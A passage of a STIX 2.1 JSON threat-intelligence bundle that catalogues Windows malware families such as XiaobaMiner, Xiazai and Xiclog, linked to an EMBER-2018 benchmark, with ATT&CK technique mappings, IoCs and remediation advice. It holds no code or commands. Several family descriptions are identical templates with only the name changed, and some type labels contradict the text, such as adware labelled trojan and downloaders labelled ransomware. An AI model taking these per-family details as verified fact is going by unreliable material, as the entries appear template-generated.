      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiaoba exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2f4b3f96-2f64-5943-900b-b6fe87752c86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xiaobaminer",
      "description": "<h3>Executive Summary</h3>\nXiaobaMiner is a malicious cryptocurrency mining Trojan (Cryptojacker) designed to hijack the computational resources (CPU and GPU) of infected Windows systems. Its primary objective is to silently mine cryptocurrencies (frequently Monero/XMR due to its privacy features and CPU-friendly mining algorithm) in the background, generating illicit profit for the threat actors while significantly degrading the performance and lifespan of the victim's hardware.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nXiaobaMiner is typically distributed through malvertising networks, bundled with pirated software or keygens on peer-to-peer networks, or dropped by exploit kits targeting unpatched browser vulnerabilities.\n\nUpon execution, the miner prioritizes silent, continuous operation:\n<ul>\n<li><strong>Resource Hijacking:</strong> The malware injects a modified version of popular open-source mining software (like XMRig) into a legitimate-looking process (like `svchost.exe` or a fake `wuauclt.exe`). It immediately begins consuming maximum available CPU/GPU cycles.</li>\n<li><strong>Evasion via Throttling:</strong> Advanced variants of XiaobaMiner implement logic to monitor system activity (e.g., checking for mouse movement or the launch of the Task Manager). If user activity is detected, the miner throttles its resource usage to avoid detection, ramping back up when the system is idle.</li>\n<li><strong>Persistence and Updates:</strong> It establishes persistence via Scheduled Tasks and maintains a connection to a mining pool (C2 server) to receive configuration updates, new wallet addresses, or updated mining binaries.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile generally not destructive to data, XiaobaMiner poses a significant operational threat. The constant, maximum CPU utilization leads to severe system slowdowns, reduced productivity, increased energy consumption, and premature hardware failure (thermal wear). In cloud environments (IaaS), it can trigger massive, unexpected auto-scaling billing charges.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Process Termination and Isolation:</strong> Utilize EDR or advanced task managers to identify the hollowed process consuming excessive CPU and terminate it. Isolate the machine to cut communication with the mining pool.</li>\n<li><strong>Targeted Malware Scan:</strong> Run a comprehensive anti-malware scan to identify the root executable, persistence mechanisms (registry keys, scheduled tasks), and any secondary payloads (miners are sometimes bundled with info-stealers).</li>\n<li><strong>Vulnerability Assessment:</strong> Determine how the miner gained initial access. Ensure the OS, web browsers, and all third-party software are fully patched to close the exploited vulnerability.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.CoinMiner.Xiaoba",
        "Riskware.Miner.Xiaoba",
        "Win32/CoinMiner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xiaobaminer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xiaobaminer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--964ef659-eb58-5864-84e3-3b6baabb5db3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f4b3f96-2f64-5943-900b-b6fe87752c86",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiaobaminer exhibits technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4bce27db-a652-5165-a536-a05b682d3ac1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f4b3f96-2f64-5943-900b-b6fe87752c86",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiaobaminer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ae26dda-99fb-5743-965d-4a520f4f57a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f4b3f96-2f64-5943-900b-b6fe87752c86",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiaobaminer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4031cb9d-d527-5516-8d09-76dee2c13edb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xiaoxiong",
      "description": "Adware:Win32/Xiaoxiong is a regional Potentially Unwanted Program (PUP) categorized as a Browser Hijacker, specifically targeting users in Asian markets. It aggressively manipulates browser settings to redirect the default search engine, homepage, and new tab page to affiliated third-party search portals. Its goal is to generate illicit Pay-Per-Click (PPC) revenue and track user search queries without explicit consent.<br><br><b>Understanding Xiaoxiong (Browser Hijackers)</b><br>To an end-user, Xiaoxiong manifests as a sudden inability to use their preferred search engine; every query is forcibly routed through unknown Chinese search portals, often accompanied by injected sponsored links. For a security team, it represents a breakdown in endpoint hygiene, a localized compliance violation, and a potential vector for data tracking (`T1185`).<br><br><b>Execution and Hijacking Mechanics</b><br>Xiaoxiong is typically distributed via deceptive software bundles (`T1189`), often packaged alongside legitimate freeware popular in Chinese-speaking regions. Upon execution, it aggressively modifies the Windows Registry (`T1112`) and browser configuration files (like Chrome's `Preferences` file) to enforce its settings (`T1562.001`). To prevent easy removal, it often installs persistent browser extensions or scheduled tasks (`T1547.001`) that actively monitor the browser settings and revert any changes the user makes back to the hijacked state.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience and potential privacy violations due to unauthorized search tracking. Host-based IoCs include EDR alerts for modifications to browser shortcut properties (appending the search URL to the target path), unexpected additions to browser extension directories, and registry modifications targeting `Software\\Microsoft\\Internet Explorer\\Main\\Start Page`. Network IoCs include DNS queries consistently resolving to specific search redirectors. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xiaoxiong",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xiaoxiong"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2086468-1158-5ada-8886-e6b0a68f516c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4031cb9d-d527-5516-8d09-76dee2c13edb",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiaoxiong exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba0e999f-6fad-5cf3-89ec-0c521bea033b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4031cb9d-d527-5516-8d09-76dee2c13edb",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiaoxiong exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38bbb6ae-0897-5399-a52b-fbbe2631b3d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4031cb9d-d527-5516-8d09-76dee2c13edb",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiaoxiong exhibits technique T1189 (Drive-by Compromise (Software bundling))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1974821d-7c68-5f86-8ea5-532cbe8851a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xiazai",
      "description": "TrojanDownloader:Win32/Xiazai is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xiazai</b><br>To an end-user, a Xiazai infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xiazai is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xiazai is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xiazai frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xiazai reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xiazai",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xiazai"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a48220e6-c332-5ffc-96ec-c3a5961670c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1974821d-7c68-5f86-8ea5-532cbe8851a0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiazai exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--289f9eaa-4eff-5143-8124-020149761695",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1974821d-7c68-5f86-8ea5-532cbe8851a0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiazai exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f699ea15-49ad-5799-93eb-300d63ec5527",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1974821d-7c68-5f86-8ea5-532cbe8851a0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiazai exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c2c9ff3-0a1f-5544-b910-c9b6ef6b410f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1974821d-7c68-5f86-8ea5-532cbe8851a0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiazai exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92d7d596-4b22-5295-b0e2-2a6da9de5625",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1974821d-7c68-5f86-8ea5-532cbe8851a0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiazai exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a06780dc-8aeb-5ecb-b635-848a241d3039",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xiclog",
      "description": "Xiclog (cataloged across security vendors and threat intelligence databases under signatures including Backdoor:Win32/Xiclog, Trojan:Win32/Xiclog, and Backdoor.Xiclog) is a persistent Windows remote access trojan (RAT) and backdoor active since 2017. Delivered primarily through spearphishing emails with malicious attachments, weaponized Office documents, and drive-by exploit kits, Xiclog operates covertly to provide adversaries with interactive access. Upon execution, Xiclog establishes startup persistence via Windows scheduled tasks and Registry Run entries. It injects its malicious threads into legitimate system processes like svchost.exe to conceal outbound network traffic, connecting to remote C2 infrastructure over encrypted HTTP/HTTPS to execute arbitrary shell commands, harvest system telemetry, and drop secondary payloads. (Observed samples in benchmark: 44)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Xiclog",
        "Trojan:Win32/Xiclog",
        "Backdoor.Xiclog",
        "Win32/Xiclog",
        "Backdoor:Win32/Xiclog.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xiclog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xiclog"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ed87933-277f-5b70-a7ff-ae9332c51621",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xihet",
      "description": "Trojan:Win32/Xihet is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xihet</b><br>To an end-user, a Xihet infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xihet is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xihet is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xihet frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xihet reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xihet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xihet"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e8d1b2e-1b1e-5f67-8a7b-458a8a59559d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ed87933-277f-5b70-a7ff-ae9332c51621",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xihet exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0909333b-79da-5fe7-8ea8-78da59c3ed44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ed87933-277f-5b70-a7ff-ae9332c51621",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xihet exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2f1b3f4-5617-52b3-919e-c06d8aa04d8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ed87933-277f-5b70-a7ff-ae9332c51621",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xihet exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7a09f5e-bee7-566c-85d5-a1ee35253717",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ed87933-277f-5b70-a7ff-ae9332c51621",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xihet exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c373e3f-56c5-5efd-a601-e784fa4b772c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ed87933-277f-5b70-a7ff-ae9332c51621",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xihet exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f5610fd-ff9c-5b1e-9c9f-7ce8bcc507b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xiquitir",
      "description": "Trojan:Win32/Xiquitir is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Xiquitir</b><br>To an end-user, a Xiquitir infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Xiquitir is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Xiquitir is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Xiquitir frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Xiquitir reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xiquitir",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xiquitir"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--038e8306-70f0-502c-a8fd-d2e6ca6f73d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f5610fd-ff9c-5b1e-9c9f-7ce8bcc507b6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiquitir exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c361cbd-b32e-562f-8fe1-f88870ee1a40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f5610fd-ff9c-5b1e-9c9f-7ce8bcc507b6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiquitir exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e78f823d-96bd-5b8e-9ee6-405de09aa4e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f5610fd-ff9c-5b1e-9c9f-7ce8bcc507b6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiquitir exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14b7d517-85ec-53d0-b332-e1e824e49901",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f5610fd-ff9c-5b1e-9c9f-7ce8bcc507b6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiquitir exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b739f6f-0779-5560-b258-178fa75564ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f5610fd-ff9c-5b1e-9c9f-7ce8bcc507b6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xiquitir exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2ecdcb57-e922-5886-ad41-b8a17f6c6958",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xizfawwyz0Ab",
      "description": "<h3>Executive Summary</h3>\n\"Xizfawwyz0ab\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The random, DGA-like (Domain Generation Algorithm) naming convention strongly suggests that this malware was generated dynamically by an automated exploit kit or malware builder to evade static antivirus signatures through constant polymorphic mutation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these randomized naming conventions is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> Xizfawwyz0ab typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, randomly named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Xizfawwyz0ab",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xizfawwyz0Ab",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xizfawwyz0ab"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0968634f-44f4-5681-9aa5-f25bc16bdc6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ecdcb57-e922-5886-ad41-b8a17f6c6958",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xizfawwyz0Ab exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b6926b0-5b2e-527a-a6be-d59731cb0fa4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ecdcb57-e922-5886-ad41-b8a17f6c6958",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xizfawwyz0Ab exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95d95138-14ac-57c0-862d-698830f7cb85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ecdcb57-e922-5886-ad41-b8a17f6c6958",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
